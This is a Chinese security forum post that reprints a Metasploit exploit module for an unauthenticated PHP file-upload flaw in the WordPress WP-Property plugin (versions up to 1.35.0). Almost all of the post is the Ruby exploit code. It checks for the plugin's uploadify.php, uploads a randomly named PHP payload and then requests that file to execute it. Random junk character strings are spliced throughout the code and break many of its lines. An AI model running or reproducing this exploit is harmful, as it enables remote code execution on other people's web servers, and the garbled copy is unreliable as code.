找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2451|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞: N$ P8 W: m' r1 c) J* U/ F: o0 y

  ?4 ]6 T4 u- n; m( o" d ## # This file is part of the Metasploit Framework and may be subject to
/ M! Z' b$ z# A8 K' d, y4 u6 e3 e7 _, h8 f2 f- Q
# redistribution and commercial restrictions. Please see the Metasploit5 D+ v3 w/ b- t+ ]! U6 n- E2 g4 K

/ ?; X: z" u, q  a# Framework web site for more information on licensing and terms of use.1 q# E8 m9 l" q0 V3 L2 `3 M

" T5 J  m$ M' d! _#   http://metasploit.com/framework/ ##
- |5 G9 b9 m8 s; X6 @/ c* x% y9 D* ^

  ^! z" W6 o; T+ ^/ {
% h" W6 |" i; w6 R% ^/ r+ ~8 r2 ? 4 k/ r0 [- E: s! d. V: h4 A
3 d4 H" o( l9 j6 D) E4 t
require 'msf/core', R' y' o5 ^, P/ e
require 'msf/core/exploit/php_exe'
) u* F* s+ T/ X' x& F
. P- b9 C* U8 N4 i" {1 t8 u; B6 ?/ w; G9 Zclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',6 F  A5 Q3 |  ?! I/ b  R# n
'Description'    => %q{
: y6 S' S$ N5 J* c1 ~+ DThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
4 w' g  a: Y8 L[
3 c& [* `2 K1 w5 h+ `'Sammy FORGIT', # initial discovery8 b4 }5 \  }& v5 x. i1 v' {, z! }/ l
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
) U& Z% J4 M  a1 a& R! s],
! i; v; F. |& v) B. M6 t. S9 v3 M'License'        => MSF_LICENSE,( k# Z: @( b. b/ e* v
'References'     =>
& P  \8 l4 Q2 Y' k% p7 R  _[
% @' ^# ]0 v7 S; y8 {[ 'OSVDB', '82656' ],
9 x8 G& {" g: ?6 J$ e# E$ l: Z4 ][ 'BID', '53787' ],% n: O" ?4 E4 |( o
[ 'EDB', '18987'],* K4 Q9 z* [) Y
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]/ c( q/ D- e; O' V0 J
],2 b6 J. j# n* y* E: I( ~' u+ v
'Payload'        =>
# u. U' x7 u- U3 d* X, v{1 l. ~5 z5 `2 H4 `
'BadChars' => "\x00",
' Z2 q1 r4 ^/ e, Q$ L8 C},
2 T  `9 m1 i3 Z'Platform'       => 'php',, d4 P  o+ c( M* Q7 \
'Arch'           => ARCH_PHP,% b# e! P9 u/ V) O' P
'Targets'        =>) p4 Y6 i6 T# M& B) B9 E6 A0 l) k
[
6 @% u) Q  b3 ]% D6 @[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
8 ^* G: I* B+ v; G[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
; N8 I/ L8 h! ^8 f, L],: K8 b; H" c3 V( y4 F# {
'DefaultTarget'  => 0,
: L; W$ Y" q7 W' a3 L; `'DisclosureDate' => 'Mar 26 2012'))
$ S! F0 \0 H3 _# l; i& ^8 K' y
( I) W  @- X: S7 hregister_options(' ^0 E) ]0 }; F! [5 Y
[
9 b" C/ ^+ e9 f  |; HOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
, n! ]$ f; D4 q: S], self.class)
8 W1 j1 n! G, qend
# T; |; w; @* I/ P0 b
2 c7 E& J# d% P4 q2 v, k5 Y. Cdef check
( r1 {9 F" W, _- i5 C0 J6 curi =  target_uri.path' n4 V6 c  y1 J1 e7 {6 U" |
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',# G3 I4 U: e' A+ [- \; V0 T
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"  w) Y0 |# {( y( s
})  o5 d8 f9 U+ b
; y( x6 j8 R! f
if not res or res.code != 200$ M( ]+ ~  W. x. I; J/ V: D9 E: d
return Exploit::CheckCode::Unknown
; c/ @. E8 o- Fend, m  F3 S4 W8 C3 C8 k
9 `% o7 S' r: h+ _
return Exploit::CheckCode::Appears
- J$ m6 d. |; f% j" J# T$ aend
$ ~( j+ r: U! L* b* z! O% t  V+ y+ o3 V, V2 {
def exploit( m6 X/ G! d% Y9 U* }. ]
uri =  target_uri.path/ C6 W# L8 c5 u/ @8 S: Z
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true); H! K9 F( T, V1 |4 O. B
2 X& T0 M' \1 r7 a
data = Rex::MIME::Message.new/ p# I! z3 ^& j' R
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")- ^$ f4 S5 T) L2 |3 l) g
data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
/ H* n8 z# r  M$ }- u# P' Xpost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_'); M7 t; t  s: @# ~+ C5 l

+ o1 i7 t+ c1 }print_status("#{peer} - Uploading payload #{@payload_name}")& f* G6 G0 `" P. Y
res = send_request_cgi({
# h& t$ G+ t1 K: j'method' => 'POST',
& V2 U& ?0 E  \; O'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
1 l4 j! b9 H  K4 w, |! {'ctype'  => "multipart/form-data; boundary=#{data.bound}",
; S6 f: B% q) o, w: G, }# p8 ~'data'   => post_data
4 C' D5 C# w; R4 _! A})+ b4 _% v& j, N9 n* |
# I, A! ]# A3 X1 [+ I: `: z' Z
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
' x/ ?2 s" D% F$ \+ wfail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
4 r! T4 }, D% h. ?, T6 Cend
# ]8 R# N) M. z5 P  M8 C* e+ F5 @+ y8 f$ A# t
upload_uri = res.body8 H2 o2 X8 _6 S$ e

1 T5 b0 S" J4 f! n' v8 k$ Wprint_status("#{peer} - Executing payload #{@payload_name}")6 A/ i! N6 S* y; p
res = send_request_raw({
$ C. D( l# s1 K0 t" I'uri'    => upload_uri,- }& x& A4 N# w# P% s
'method' => 'GET'" D# _5 C2 P0 |
})0 N! r6 j% ?- W3 g; |
end
) U" X5 [$ l3 s8 v; p- }end
% {/ j* {" @% a$ C" M  w' m3 d4 Z* \4 ^" Q
不要问我这写的是什么 怎么利用 我是说msf.9 q* S: B# W6 r* P2 A1 p

. ~0 B8 g2 V! |( i8 R! s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表